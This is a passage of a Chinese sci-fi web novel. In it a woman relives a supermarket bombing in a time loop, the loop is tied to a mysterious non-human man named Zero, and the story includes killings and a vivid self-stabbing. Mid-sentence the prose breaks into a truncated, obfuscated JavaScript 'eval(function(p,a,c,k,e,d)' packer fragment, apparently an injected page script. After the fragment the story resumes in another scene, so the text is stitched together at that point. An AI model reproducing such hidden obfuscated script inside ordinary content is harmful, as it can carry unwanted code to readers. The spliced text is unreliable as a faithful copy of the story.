就在那男人的手即将碰到小乐的瞬间,小乐抬手一巴掌狠狠地扇了过去,“想死就去死。” “啪”的一声脆响,在超市里格外清晰。 “恶心。”小乐说。 周围的顾客纷纷围了过来,薛晓被挤进人群中,成了一个看热闹的旁观者。 售货小组长闻讯赶来。他看了看那男人,脸上立刻堆满谄媚的笑容,点头哈腰地向男人道歉:“真是对不起,临时工不懂事,您大人有大量,别跟她计较。” 小组长转过头,脸色瞬间变得阴沉,对着小乐冷冷地说:“你被辞退了,马上收拾东西走人!” 小乐瞪大了眼睛,难以置信,“我为什么要被辞退?你知道我一上午帮你卖了多少吗!” 小组长不耐烦地摆摆手:“别啰嗦,赶紧走,没得商量!” 薛晓忽然想起了她做零售员的日子。这种工作都是这样。只需要辞退一个临时工,就能解决无数天塌下来的问题。 闹剧很快就结束,薛晓什么都没做,也什么都没买,两兜空空走出了超市。 这条街每天都会经历几场欺男霸女的故事,今天的故事枯燥无趣,大家已经见怪不怪了。 薛晓独自一人站在超市门口,彷徨着接下来去哪里避风。突然,身后传来一声震耳欲聋的巨响,薛晓还没来得及反应,就被一股强大的热浪掀翻在地—— 王大姐笑容满面,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” 薛晓瞬间惊醒,她猛地回头,把王大姐吓了一大跳。 “哎呦呦,反应这么大,被我说中了吧。”王大姐说。 薛晓顾不上向王大姐解释,目光急切地搜寻着什么。 她又死了!爆炸死的! “超市里有炸药!大家快跑!”薛晓向超市门口冲去。 售货小组长正在理货,他抬起头,冷笑两声,“外地的真不懂规矩,任何人都不准攻击资源据点,超市是格鲁街最安全的地方——” 瞬间,火光冲天,货架倒塌,货物散落一地,一片狼藉—— 王大姐笑容满面,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” 薛晓也笑容满面,“哎呀,王大姐,我突然想起来家里水龙头没关,我得回去看看。” 她闭紧嘴巴,悄悄靠近超市门口。 然而,超市门口不知道什么时候关上了,旁边还站着两个人,其中一个就是骚扰小乐的红毛。 “美女一个人去哪啊。”红毛向薛晓抛了个媚眼。 “我家里有事,着急回去。”薛晓试图从旁边钻过去。 红毛却不依不饶,向前跨了一步,挡住了薛晓的去路,“别着急走嘛—— 超市的门窗玻璃被震得粉碎,四处飞溅—— 王大姐笑容满面,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” 这个超市到底有谁啊!不让她走了是吧! 3. 第 3 章 “谢邀,没处。”薛晓告别王大姐几人,匆匆来到美妆区。 她抓住小乐,问她,“你刚刚有看到可疑的人吗。” 小乐一脸关切,眼神中透着真诚的担忧,说:“小姐姐,你别慌,是发生什么事了吗?我可以帮助你。” “不是,是……”薛晓也不知道该怎么说。 近日天气不佳,超市聚集了很多人,其中大部分是前来避寒的流浪者。若是寻找行迹可疑的人,半个超市都能进局子喝用电磁加热的过滤水。 就目前而言,超市里藏匿着一位反社会流浪者。此人满心怨恨,一心想要报复社会,在超市这样的“中立区”安装高能量炸弹。 超市规定,售货区不得堆放杂物。为了得到超市的庇护,流浪者们的随行铺盖,都堆积在后面的库房里。 爆炸发生时,薛晓所受到的冲击同样是从库房的方向传来。炸药一定就在库房里面,但仅凭薛晓一人的力量,很难找出来。 薛晓找到小乐,小声地问,“你好,请问最近超市的进货有没有什么特殊货物?比如一些体积较大或者重量较重的。” 小乐一脸迷茫,皱着眉头努力回想,片刻后她恍然大悟道,“小姐姐,你说的是白先生的东西吗?孟德公寓501号白莫,白教授。” “我们联系不上他,只能暂时放在这里了。你是来帮他取货的吗?” 薛晓搓了搓鼻子,“对,我是他楼下的邻居。他最近……身体不太好,让我来代取一下。” 白教授,就是她五楼的住户,平时很少出门。他经常在网上匿名发帖,低价收购废旧器械。 一般快递点都会拒收危险货物,不知道白教授是怎么说服超市,给他开启绿色通道。 不管怎样,只要薛晓能进入库房,是什么理由,她都无所谓。 小乐果然信了,点点头,“你跟我来吧。” 突然,红毛不知从哪里冒了出来,嘴里叼着营养棒,含糊不清地说:“小售货员,陪哥哥聊会儿呗。” 薛晓太阳穴突突的跳。这个可恶的家伙,耽误她宝贵的时间。 她把小乐护在身后,警惕地盯着红毛,说:“请让开!” 红毛像是没听到一般,依旧站在原地,脸上挂着令人作呕的笑容,不紧不慢地咀嚼着嘴里的营养棒,说:“别这么凶嘛,美女,兴许我能帮上忙呢。” 薛晓迟疑了一瞬,依然保持警惕。她确实需要帮手,哪怕是一个加油打气的人。她相信世上有良善之人,但是她不相信她自己。 这种时候,薛晓不能接受一丁点的意外。然而,小乐却拉开薛晓,说:“没关系的,小姐姐你别害怕,让我来处理。” 小乐对上红毛,脊梁挺直,不卑不亢,说:“滚。” 这是薛晓第二次见到她这个样子。 小乐脸上总是洋溢着温暖的笑容,和她说话时轻声细语,对待顾客耐心又细致。可此刻的她,眼神中像是藏了一把锋利的刀,骨子里的溢出的狠戾让薛晓都忍不住退缩,仿佛换了一个人。 红毛也被小乐这突如其来的气势镇住了,他呆呆地站在原地,一时竟不知该如何回应。 这一次,他们没有纠缠,小乐带着薛晓进入库房。 库房里弥漫着一股陈旧的气息,钨丝灯泡闪烁着暗淡的暖光。灯泡内壁上已经形成一层黑色的钨颗粒沉淀,只要稍微改变功率就会引起爆炸。 地上堆积着各种杂物,零乱不堪,几乎让人无处下脚。小乐轻车熟路地在杂物间穿梭,薛晓紧随其后,四处搜寻着可疑的箱体。 薛晓应该寻求专业人士的帮助。但根据她经历的几次爆炸速度来看,这个启动爆炸的引信非常的敏锐。她不想牺牲无辜的人,毕竟只有她才拥有无数次回档的机会。 “就在这边。”小乐停下脚步,指着角落里的一堆箱子说道。 薛晓快步走过去,开始仔细检查那些箱子,额头上不知不觉渗出了细密的汗珠。 白教授的货物都是一些机械废料,奇形怪状,似乎是从某种复杂的机械中被粗暴地拆卸下来,带着一股陈旧腐朽的机油味。 她或许真的应该寻求专业人士的帮助,这些都是什么东西啊!薛晓一边在心里抱怨着,一边手忙脚乱地翻看着箱子里的物品。 突然,她的手停在了一个黑色的包裹上。滴答,滴答,一阵清晰的计时声传入她的耳中。 是计时炸弹吗!薛晓的心跳瞬间加速,仿佛要冲出嗓子眼将她暴打一顿。 库房外传来一阵嘈杂的声音,似乎有人正在靠近。小乐反应迅速,一把捂住薛晓的嘴巴,将她拖到一堆杂物后面躲起来。 库房的门缓缓被推开,一道人影走了进来,紧跟着还有一个人冲了进来。 “你到底是谁!你想干什么?这里面都是无辜的人!我不管你背后有什么势力,有什么不可告人的目的,只要我还站在这儿,就不会让你为所欲为我绝对不会允许你——呃!” 愤怒戛然而止,那人发出一声痛苦的闷哼,似乎是受到了重伤。 细微冰碴碎裂的声音,像是恶鬼在磨牙,在寂静的空间内无限的放大。 “全部清理。”冰冷的语气。 小乐坐不住了,她要冲出去拯救那个人,被薛晓一把按住。 “那是我老板。”小乐说。 薛晓一把捂住了小乐的嘴,摇了摇头。 她知道,但是另一个人的声音,是零。 零怎么会在这里。超市爆炸竟然和零有关系。他古怪而神秘,薛晓相信他有这样的能力,也有这个胆识,但就是想不明白他的理由。 库房的温度变得越来越冷了,货物的表面结起了霜。老旧的钨丝灯泡受不了冷热温差,啪一声爆了。迸射而出的火花如同愤怒的精灵,在黑暗中跳跃闪烁了几下,便迅速熄灭,只留下一缕缕刺鼻的焦糊味弥漫在冰冷的空气中。 原本就昏暗的库房,此刻更是陷入了更加深沉的黑暗,压得人喘不过气来。 小乐穿的太少了,她不停地打着寒颤。她的嘴唇开始发紫,脸色苍白如纸,眼神也变得迷离恍惚。 薛晓试图抱紧她的身体,试图留住那一点点消散的温暖,可寒冷就像是禁锢在她体内的病魔,消耗着她残存的生命力。无论薛晓怎么努力,都无济于事。 小乐迷迷糊糊,“好困……上班睡觉扣500……帮我向老板请个假……工伤……” “王晓研,矩阵工业大学弹药工程与爆炸技术博士研究生。她是白莫的学生,为了窃取你的实验数据来到你的身边。外面那个张厘是她的男朋友。” 零来到薛晓的面前。 薛晓不想理他,她疯狂拍打小乐的脸,“小乐小乐,你醒醒!” 这个神经病cosplay上瘾啊,还给无辜的人安排了一个间谍的身份。 小乐只是一个普普通通的超市售货员,和她一样没什么本事,没什么技能,也没有人脉。她只是一个随时会被赶走的临时工,无人问津,无人照拂,无人给工资。 零受到了忽视。他眉头微皱,一个细小的蓝点出现在小乐的身上,四处游走,似乎在寻找着什么。 “你干什么!”薛晓瞬间就发现了零在搞鬼。 零伸出手,他手里赫然拿着薛晓今早出门塞进口袋里的钱包,花花世界迷人眼的风格绝不会有第二个人会收藏。 “她偷了你的钱包,让张厘带出去。” 张厘应该就是红毛的名字。薛晓现在不想听故事,她钱包里的三瓜两枣出去坐个公交车都会被半路赶下来。 她亲眼看见一个鲜活的生命在不到5分钟的时间里就失去了全部的生理机能。 比愤怒更多的是恐惧。零不该随意杀人,但零杀死她根本不需要5分钟。 滴答,滴答,计时器还在走。薛晓扑到白教授的箱子上,找到了那不停跳动的黑色包裹。 只是一个坏掉大钟表。不是炸弹。 然而,薛晓的眼神在短暂的呆滞之后,像是做出了一个极其疯狂的决定。她拔出大钟表跳动的秒针,对准自己的颈动脉,猛地捅了进去—— 王大姐笑容满面,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” “呕——”剧痛引起的痉挛让薛晓忍不住呕吐。她痛苦地捂住自己的脖子,仿佛那伤口真实存在一般,身体因极度的痛苦而剧烈颤抖着。 “哎呦!哎呦!我的祖宗,这是怎么了,犯病了吗。不会是……”王大姐脸上的笑容瞬间僵住,不知所措地看向周围人。 “小薛坚持一下,我们送你去医院!” 旁边的人也慌乱起来,有人上前扶住摇摇欲坠的薛晓,有人拨打急救电话,现场一片混乱,很快就聚集了一群看热闹的人。 妈妈呀,太疼了!!这和爆炸带来的冲击不一样,爆炸是瞬间的、毫无防备的,薛晓只需要略微等死就可以重来。 自戕不一样,动手时已经做好了十足的准备。她手法不娴熟,旁边还有一个危险分子盯着不让她死。那种感觉,仿佛整个世界都在与她作对,每一秒都是无尽的煎熬。求生不得,求死不能,其中的折磨,简直像是从地狱里滚了一圈。 很快身体真实的生理状态就反馈到了大脑,薛晓脖子上没有伤口。 她慢慢坐了起来,但救护车已经来了。薛晓看了一眼昂贵的出诊费,突然有点想念超市被炸上天的感觉了。 尽管薛晓明确表示自己没事了,但她还是被抬上了担架。薛晓的眼泪都不知道该往哪个方向流,一转头竟然看到了零。 零出现在人群里。他站在最后面,碎发盖住眉眼,神情晦暗不明,像一个电影为了出续集在结尾强行安排黑化的幕后推手。 “医生医生,我要和他说句话。”薛晓死死扒住车门,不让医生关门。 医生顺着方向看去,一时间竟然没找到薛晓要的人。最后是零主动走了过来。 “这是小薛的对象吗?”王大姐她们惊呼道。 “他头上有一块……” “年纪不大,不会是个……” “……两千卡币包宿……” “……大腿有劲。” “小薛不会是怀了吧!” “现在人类体质很难怀孕,小薛好厉害!” 薛晓:“……”很难评,她就当没听见吧。 零来到担架旁边,蹲了下去。 薛晓一把抓住他,“我走了,你不准点燃炸药。” 医生:???? 零静静看着她,蓝色的眼珠像融化的冰块一样纯粹。 “不是我,但我可以。” “不是你安装的炸药?那能是谁。” “白莫。” “他炸超市干什么?” “杀你。杀我。” “你怎么知道的?” “他威胁过我。” “你们两个有正规居住证吗?”医生忍不住打断他们。怎么张嘴就是打打杀杀,跟黑市野蛮人一样。 就在担架即将上车的瞬间,薛晓又拉住了零。 “你能把我炸死吗。”薛晓认真地说。 零犹豫了一下,“好。” 医生:??!!两个精神—— 王大姐笑容满面,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” 薛晓都不知道她是怎么回来的,只记得两眼一白又一黑,就站在这里。 如果零没有像她一样回档的能力,那只有一种可能——杀了她。 她就知道!零要杀死她,就是一个眨眼的功夫!五分钟都算是折磨俘虏。 “小薛,发什么呆呢?”王大姐说。 薛晓拉回思绪,笑脸相迎,“哈哈,我在想相亲角的事情呢。王大姐,你上个月去相亲角干什么呀?这么早就开始相老伴了吗?” “哎呀呀,提这个做什么呀。有备无患嘛。你大姐我也是很先进的。”王大姐哈哈一笑,很快就岔开了话题。 聊了一会,薛晓忽然紧张地摸了摸自己的口袋,“不好了,我的钱包不见了!” “是不是掉在哪里了?” “你去来时的路上找找。” “电子支付早就普及,小薛还用钱包呢。是男朋友送的?” 薛晓焦急地寻找,“里面有一些纪念的东西。” 并没有,她只是单纯的被电子诈骗骗走五千卡币,到现在还有点心理阴影。有一个钱包心里会踏实一点。 “你好,请问超市有监控吗?我的钱包不见了,里面有很重要的东西。”薛晓拉住了一个售货员,正是“小乐”。 “王晓研?”薛晓惊奇地说。 “你认识我?”王晓研更惊奇。 “当然,你是矩阵工业大学的高材生,我妈经常拿你给我举例子,让我考研。”薛晓说。 王晓研尴尬笑笑,“谢谢……” 监控室比想象中的还要好找。薛晓以为会遇到踢皮球的情况,没想到老板爽快答应了。 “一定是非常重要的东西吧。”老板一脸担忧,好像丢的是十块黄金。 薛晓不想说,其实只是一只花花世界迷人眼且物质贫瘠的钱包而已。 薛晓和王晓研来到了监控室。 薛晓每次都会在王姐追问相亲角的时候回来,这个时间是不变的,但每次爆发的时间是不一样的。如果薛晓强行离开超市,炸弹会提前爆炸。她偷偷跑,也会炸。 这个引信可以敏锐的察觉到她的所有动向。炸药就是为她准备的。超市里货架层叠,布局复杂,想要知道薛晓的位置,就只有拿到上帝视角,也就是监控室。 薛晓没想到,监控室竟然空无一人,连零这个阴暗小冰雕都没有。 不到四百平的超市里足足有406只监控,有34只坏掉了。其中还有一些奇怪的角度,比如说收银台柜员的□□,库房灯泡的电线,还一个好像是老板稀疏的头顶? 王晓研熟练调监控,薛晓看她认真的样子,忍不住想八卦。 “那个红头发……” “我就知道是他!”王晓研猛地一拍桌子,大吼一声,硬生生把薛晓的话头堵在了嗓子眼里。 监控电脑上的灰尘纷纷扬扬,落在了一只明亮如香烟尾巴的玫瑰正红色的头发上。 是张厘偷了薛晓的钱包。没有王晓研赚差价。可薛晓的注意力却被另一个画面吸引。 零正在库房里。库房的监控比较老旧,上面蒙了一层厚厚的灰尘,但薛晓还是从那帅酷拽到寒武纪的姿势上认出来。 他对面,是一个坐在轮椅上的人。薛晓端详了好半天,最后是王晓研告诉她那个是白莫。 薛晓也是后来才知道,与零初相识的那天,五楼的白教授被冻掉了三根脚趾和半个左耳朵。 零用薛晓吃剩的半碗合成水饺,和白教授换了半个冰箱。 白莫正在疯狂按一个冒着红光的按钮,他惊恐地发现,什么都没有发生。 零不会拆炸弹,但是他会破坏。任何环境条件拉到极致,都可以造成毁灭的伤害。 白莫不管做什么,哪怕是原地后空翻召唤幻影铠甲,最后都会像一只蝼蚁一样被无情地碾死。 突然,白莫仰头对着天花板疯狂大笑,吃了一嘴的灰。他粗暴地掀开自己的衣裳,露出捆绑在身上的炸药。 “没想到吧!我身上还有最后的武器!我要自己选择我的结局!” 监控听不到他的遗言,轰——伴随着一声巨响,火光瞬间吞没了监控画面。白莫身上的炸药量很少,只是在库房引起了小范围的爆炸。然而,库房里堆满了易燃物,火势迅速蔓延开来,熊熊大火瞬间将整个库房吞噬。里面的人根本不可能活下来。 薛晓双腿发软,恍惚地坐到地上。她没有看错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高温同寒冷一样不可抵挡,零的四肢和布娃娃一样一点点被火焰蚕食,他的脸也受到波及,陶瓷色的头骨被大面积熏黑,唯有蔚蓝色的眼珠像古老的宝石,宣告着他仅有的生机。 消散。正如薛晓期待看到的那样。一切都是那样的戏剧,仿佛是零拿自己做了一场实验,只是为了满足她的好奇心。 如果可以,零或许会自己整理出一份数据,写一篇三十万字的论文,挂上薛晓的一作,发表在最权威的学术网站上。 薛晓低下头,轻轻吻在他的唇上。 他的嘴唇一如既往的温凉。 …… 零在亲吻她的唇。 兴许是她的体温在流失,库房变得暖和起来。鲜血不断从颈动脉涌出,薛晓有些恶趣味地想睁开眼,看看零的反应。 你看,你想找的人要死掉了。她会回来,可在你的世界中,她已经永远离开了。 薛晓笑了,为自己暂时的胜利而笑。只不过,代价比她更像个玩笑。 零捂住薛晓脖子上不断流血的伤口,像他眼睛一样的蔚蓝色光芒从他的指缝疯狂溢出。一切都无济于事,无论他如何努力,都无法阻止生机在薛晓的身体中流逝。 薛晓本以为自己的眼睑会脱力下垂,可没想到,她竟然看得无比清晰,仿佛她的灵魂飞出身体,站在“她”和他中间。 时间慢了下来,薛晓的灵魂弯下腰,歪着脑袋看向零。 从刚才到现在,零的脸上一直都没什么表情。他像是一个古朴的机器,细小的零件早已生锈,只能做一些大开大合的动作,后来能源耗尽,就干脆什么也不做了。 只见零缓缓地低下头,轻轻地,虔诚地,碰上她冰凉的唇。 零微微闭着双眼,带着无尽的温柔与小心翼翼,如同对待世间最珍贵易碎的珍宝。他学着她平时的样子,舌尖轻轻探出,想要更进一步感受她的存在,哪怕只是须臾。 薛晓的灵魂静静看着他吮吸自己。他们现在是同一个温度了,不用再怕嘴皮子生冻疮。可惜她现在的舌头已经软掉,不能回应他了。 这一吻终究无法长久。零也意识到了这一点,他缓缓放下了薛晓,站起来。 薛晓怀疑自己看错了,她竟然在零那平静的面部表情中,感受到了一丝极度细微的,厌倦。 为什么会有这样的表情。因为她的自戕,他已经开始讨厌她了吗。讨厌她情绪用事,讨厌她伤害自己,讨厌她没有听他解释。等等,王晓研还在地上躺着呢,她为什么要听他解释。 但很快薛晓就推翻了自己的猜测。他的义体左眼迸发出一道强烈的光芒,天空瞬间撕裂为昏黑的倒影。薛晓觉得自己大概是死了之后脑子不清醒,她竟然在零最后的眼神里,看出灭世之心。 不得不说,有人愿意为了你毁灭世界,这个设定听起来就有点爽。她青春期最中二的时候都没有往这个方面想。 那时的她坚定认为,自己毁灭世界比借他人的手要酷多了。现在的她已经认清了现实。哪有那么多世界值得毁灭,如果有一天地球大爆炸,第一个死的一定是她这样买不起船票的普通人。 没想到,有一天她也可以成为这个荒诞宇宙的中心。 轰——爆炸的光芒涌入库房,一切都变成了蔚蓝色,薛晓的灵魂正在抽离,最后一刻,她与零对视—— 近两米的大个子,在人群里本该是最扎眼的。他低着头,黑色头发挡住了最漂亮的蓝色眼睛。 零好像害怕和她对视。 薛晓又回来了,人生没有重来的机会,但是薛晓可以给他。 她应该在零与老板进入库房的第一刻就站出来,在他脸上狠狠扇一巴掌,让他知道,出门在外不可以随意取走他人性命。 她应该紧紧抱住零的脖子,堵住他的嘴巴,让他呼吸错乱,大脑放空,忘记释放自己非人的气息,也忘记这库房里还存在其他无辜的人类。 她应该用架子上那根长65cm的尖刺扎入他诡异波动的“心脏”,在她被寒冷的冰霜冻死之前,问他是否愿意成为一个无名者的墓碑。 薛晓不知道自己的想法是从何而来,但是她就是对他生不起来气。好像她真是一个“教授”,而零是她座下的学生。她有责任为学生的品行负责。 薛晓升起了一簇篝火,温暖零眼睛里的严冬。 四周是肆虐的火焰和滚滚的浓烟,薛晓捧起了零的脸。 她要将他的每一个细节都深深地刻在自己的脑海里,记住他蔚蓝的双眼,微微颤动的睫毛,高挺的鼻梁,还有那因忍耐而紧抿的嘴唇。 薛晓仔细地看着他,忽然,她在零的脸颊上看到了一条奇怪的裂痕。 薛晓以为是木条的浮灰,手指轻轻拂过——这是令她永生难忘的一幕,零的脸皮竟然跟随她的手指一起脱落了! 薛晓惊恐地瞪大了眼睛,手僵在半空中,脱落的脸皮之下是一张新的脸,新的裂痕之下竟然还有一张更新的脸! “零,你的脸——”这一张张脸仿佛是被刻意隐藏的秘密,冲击着薛晓的视觉和心灵。 零眉头微皱,眼神中闪过一丝决然和狠厉,又瞬间被深深的悲伤所取代。 薛晓脑袋一凉,她感觉自己轻飘飘的,和轻盈的浮灰一起飞入了通风管道,落在宽敞的街道中心,被路过的车流卷起,碾压—— 薛晓又回到了超市,她的脚底板结结实实地踩在地上。 薛晓:………………操!!! 她刚刚绝对是自爆了!这死小子竟然敢直接杀她!她好像看见了什么很重要的东西……记不清了! 王大姐笑容满面,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” 大姐,我现在有点烦你了。薛晓心里嘀咕。如果再来一次,她真的会对王大姐的声音产生特定创伤应激障碍。 薛晓已经顾不得她们,开始四处搜寻某个人的身影。 “小薛,你找什么呢!”王大姐喊。 “找我家死老伴。”薛晓平静地说。 4. 第 4 章 张厘顶着一头靓丽红毛晃晃悠悠地走过来,神情举止简直是把“猥琐”两个字刻在了脑门上,生怕别人不知道自己是一只色中饿鬼。 只要他出现,女人们就会自作多情地为不存在的“人身安全”感到担忧,以至于完全忽视了其他要紧的东西。比如,不小心滑落的手链,不经意间掉落的耳环,还有那些价值不菲的高级电子产品……啊!这花不溜秋的钱包是谁的! “美女,找什么呢。需要我帮忙吗。”张厘一边说着,一边伸手想要揽住薛晓的肩膀。 薛晓相貌衣着,普普通通,不温不火,像是那种会因为不能在公共场合大声喧哗而选择忍耐的女人。以至于他已经忘记,他在十五分钟前就偷过她一次,浑身上下没有一点值钱的玩意,白长一张富贵脸。 只见薛晓眉头紧皱,十分厌恶地甩开他的胳膊,对他说:“滚一边去,我现在没空管你!” 张厘脸色一僵,没想到他精心策划、天衣无缝的小动作竟然被她如此轻易地看穿了。他瞬间就对薛晓失去了兴趣。 谁让他天生就讨厌粗鲁的女人,尤其是会明确拒绝他的女人。他喜欢温婉礼貌的女孩子,那种被堵在墙角,也只会怯生生地道歉,而不是像一个泼妇一样断了他的命门。 没关系的,社会会替他教训她。等到她醒悟时,早就错过了值得被爱的年纪,只能在空虚和悔恨中渡过余生。虽然现在天还早,但他要收拾东西准备回家了。他突然想起来,宿舍的水龙头好像没拧紧。 突然,一直在超市游荡的薛晓抓住了他,直截了当问,“你看见王晓研了吗?” 真是哪壶不开提哪壶,找谁不好,非要找那个泼妇。一想起她,张厘就骨质疏松,激素紊乱,毛发干枯。 正想着,穿着工作服的王晓研气势汹汹地向他们走来。她双手叉腰,脸上带着怒火,一双白色平底鞋硬是走出了高跟鞋的气质。 王晓研走到张厘面前,手里拿着一个U盘,说:“这里面是你和白莫在超市埋藏炸药的全部监控录像!证据确凿,你还有什么可说的!我已经报警了!下半辈子就在监狱里度过吧!” 张厘整个人瞬间愣住,满脸的不可置信,大声驳斥她,“不可能!” 薛晓比他更懵。 距离她回档重生刚刚过去10分钟,王晓研根本没有时间收集证据!难道王晓研一直知道罪魁祸首,暗中搜集证据,早就准备好揭发。之前她们经历的每一次爆炸都是在逗她玩吗! 还是说,这一次,薛晓不小心改变了什么?蝴蝶效应的道理,她懂。一个看似微不足道的事件或决策,可能会在后续过程中引发一系列意想不到的巨大变化。 可是,薛晓什么都还没做啊。 “你休想!我要让所有人都为我陪葬!”张厘从口袋里掏出一个冒着红光的遥控器,疯狂地按下去! 什么都没有发生。 白莫被捆在椅子上,头部缠着厚厚的绷带,盖住两只耳朵。那绷带看上去已经有段时日,边缘露出的一点皮肤有轻微的脱屑,像是冻伤。 零单手拖着他,从监控室走出来。 天气虽冷,但绝不至于到冻伤的程度。薛晓不禁看向零。这家伙又搞什么鬼。 张厘见白莫被控制,理智的防线瞬间崩塌。他在众人还未反应之时,挟持了距离最近的薛晓。 “都别过来!不然我杀了她!”张厘声嘶力竭地吼道,拿刀的手因为紧张而微微颤抖,刀刃贴在薛晓的脖子上,划出了一道细微的血痕。 “冷、静!”薛晓心中叫骂,早知道看热闹就不站前排了! 但现在张厘已经不重要了,因为薛晓看到零的碎发下的眉毛已经压了下来。 薛晓经常看到零有类似的表情。比如,她不想吃营养餐里的胡萝卜,她把睡前热牛奶换成冰可乐,她不穿秋裤就出门拿快递等等。这种时候,薛晓会给他一个轻轻的吻来舒缓他的面部皮肤。 这次有些不一样,薛晓自顾不暇,腾不出嘴来安慰他。零眼神中的忍耐已经达到极致,只需要枯叶落下般细微震动,就能引起巨大的海啸山崩。 张厘被零的气势所震慑,持刀的手颤抖得更加厉害,“你别过来!” “你你…你别真的过来!”薛晓也跟着紧张起来。 零却仿若未闻,一步一步地向前逼近,沉稳而坚定,每一步都带着强大的压迫感。 周围人裹紧衣服,身体忍不住地颤抖,仿佛是从心底深处涌起的寒意,无论多么厚实的防护衣物都无法抵抗。 零在生气。薛晓能感觉到。就像上一次轮回前,零看向她的最后一眼。随后薛晓就自爆而亡,变成一团血雾,跟随大火一起蒸发了。 死亡变成了一件很简单的事情。一个莫名的念头在薛晓的脑中想起:零不会是要连她一起杀了吧。 杀就杀,薛晓不怕。再给她一次机会,她一定躲得远远的,不给任何人添麻烦。 零已经走到了他们的面前,高大的影子投下来,轻易将超市顶部的射灯遮挡住,宛若一只吞日的怪物。他神秘而强大,任何事物都不能阻挡他。 张厘惊恐地瞪大了眼睛,仿佛看到了自己的结局。他想要做最后的挣扎,绝望地嘶吼,“横竖都是死,我不怕再带一个!” 薛晓紧张地闭上了眼睛,不敢看接下来发生的事情。 红蓝交替的警灯急速闪烁着,强烈而有节奏地映在超市的玻璃上,折射出迷离的光晕。光带如水般流淌而过,将超市切割成明暗相间的色块。 白莫和张厘被警察带走,炸弹全部拆除。 一切都已经结束,薛晓什么都没做,就解决了一场灾难。 超市老板联合警局给零开一场了隆重的表彰会,嘉奖他的英勇表现。 格鲁街很少有这样的热闹事,表彰会现场布置得很正式,大人小孩都在抢零食吃。台上,零却直勾勾地看着薛晓,说: “是她。” 薛晓:?! 于是,薛晓获得了一万卡币的见义勇为奖金。 对于薛晓来说,可是一笔不小的财富。她兴奋地计算着,这笔钱她不吃不喝,足够支付三个月的房租了! “零!谢谢你!”薛晓猛地扑向零,紧紧地抱住了他。她把脸深埋在零的胸膛,微微侧着脸,用脸颊干裂的皮肤剐蹭着零的毛衣。 零的衣服质量好得令人惊叹,细腻的毛线编织极为紧密,触感柔软且顺滑。当肌肤与之相触时,那种舒适的感觉犹如被轻柔的云朵所包裹,让薛晓忍不住想就这样趴在他身上睡觉。 可惜,太冷了。零的体温近乎零度,薛晓靠着他一会,半边脸就血管收缩导致血液流通减缓,有点麻了。 过了好一会,薛晓终于抬起头,声音带着一点小鼻音,说:“你为什么要杀死我。” 零没有回答她,就这样静静地站着,没有说话,也没有推开薛晓。他的目光越过薛晓的头顶,望向远方,不知在想些什么。 “别装,你也有记忆。我知道。”薛晓没有证据,但她的直觉告诉她,每一次的回档重生都和零离不开关系。薛晓拥有每一次循环的记忆,零也一定有。 零有些诧异,身体微微前倾,目光紧紧地锁住薛晓,说:“你,知道。什么。” “嗯……”薛晓该知道点什么好呢。她的脑袋空空,给不出答案。她知道的一星半点都是瞎猜的,说出来心虚。 零缓缓低下头。 他想要一个吻。可是他太高了,在同等站立的情况下,他需要薛晓踮起脚尖,双手扶着他的肩膀,主动地送上一吻。 薛晓一惊,显然是察觉到了零的意图,她歪过头想要躲开,可转念一想,她好像没有必须逃避的理由。 “是我在问你。请你回答我的问题。”薛晓说。 零的双手却轻轻捧住了她的脸。他其实可以不需要薛晓的配合,只要他轻轻往上一托,或者把她提起来,就可以得到自己想要的东西。 就在零的嘴唇快要触碰到薛晓的唇,薛晓猛地推开了零,“请!回答!我的问题!” 忽然,薛晓脚下一空,身体猛地一颤,瞬间失去了平衡。零眼疾手快,一把揽住了薛晓的腰,将她紧紧拥入怀中。 薛晓的脸贴在零的胸膛上,清晰地听到了自己强有力的心跳声。 他的心跳呢? 他是一个怪物。没有心跳。 “对不起。”零低声说道,声音中带着一丝无奈与疲惫。 “请回答!”薛晓从口袋里掏出一把崭新的裁纸刀,朝着零的脸狠狠划去!零完全没有防备,锋利的刀刃瞬间在他的脸上留下一道长长的口子! “请不要修改我的记忆,我需要知道真相!”薛晓泪水夺眶而出。 她两腿发软,双手不住地打哆嗦,却能紧紧攥住自己的武器。 只要零想,他随时都可以夺去薛晓的生命。薛晓没有胜算,她只能赌。赌如果重来一次,她还能拥有现在的记忆。 零为什么要杀她。火场里,温情时刻,她一定是看到了什么。薛晓记得,最后消失的瞬间,她抚上了零的脸。 周围的一切都静止了。行人停滞在原地,飞舞的气球和彩带定格在半空,人们的笑容瞬间凝固。整个广场陷入了一种诡异的寂静之中。 零捂着受伤的脸,静静看着薛晓。 “你想看。” 零用平淡的语气说出一句无意义的陈述性的话。 “好。” 零缓缓将手拿了下来。只见他的脸上像是被掰开的洋葱,仿真硅胶一样的皮肤顺着切开的道口一层层向外翻,没有一滴血流下。 皮肉翻转没有尽头,仿佛是无尽的深渊,层层叠叠,有年老的褶皱,也有鲜嫩的平滑,有少女的娇粉,也有成熟的胡青。 每一层都是一张完整的人脸,或沧桑、或稚嫩、或狰狞、或哀怨,仿佛被困在囚笼中,在释放的瞬间获得片刻的欢愉。 零右眼像是融化了,左眼珠子半凸着,周围的皮肉翻开,暴露出的不是血肉,而是类似金属的质感。他用仅剩的一只眼睛,深情注视着薛晓。 薛晓,生理性想吐。 这个画面超过了她的认知极限。她在无比的震惊和恐惧中,莫名感受到了一丝熟悉。她大脑中犹如有无数道闪电划过,试图照亮那被浓烟遮蔽的真相。 突然,零向前一步,一把搂住薛晓。他弯下腰,瞬间缩短距离,用叠加交替的嘴,亲吻她柔软且真实的唇。 薛晓瞪大了眼睛,只觉得一股寒意从嘴唇传遍全身,又是那灵魂出窍的感觉。她拼命挣扎,裁纸刀在零的身体上画出一道又一道口子。零无动于衷,他的力量大得惊人,让她无法挣脱。 死亡已然降临,周围空气变得愈发压抑,寒冷似乎要将她彻底吞噬。 滴答、滴答,沉重而规律的声音在寂静的空间中回响,秒针在原地跳动,每一次轻微的颤动都像是在与世界进行一场孤独的抗争。 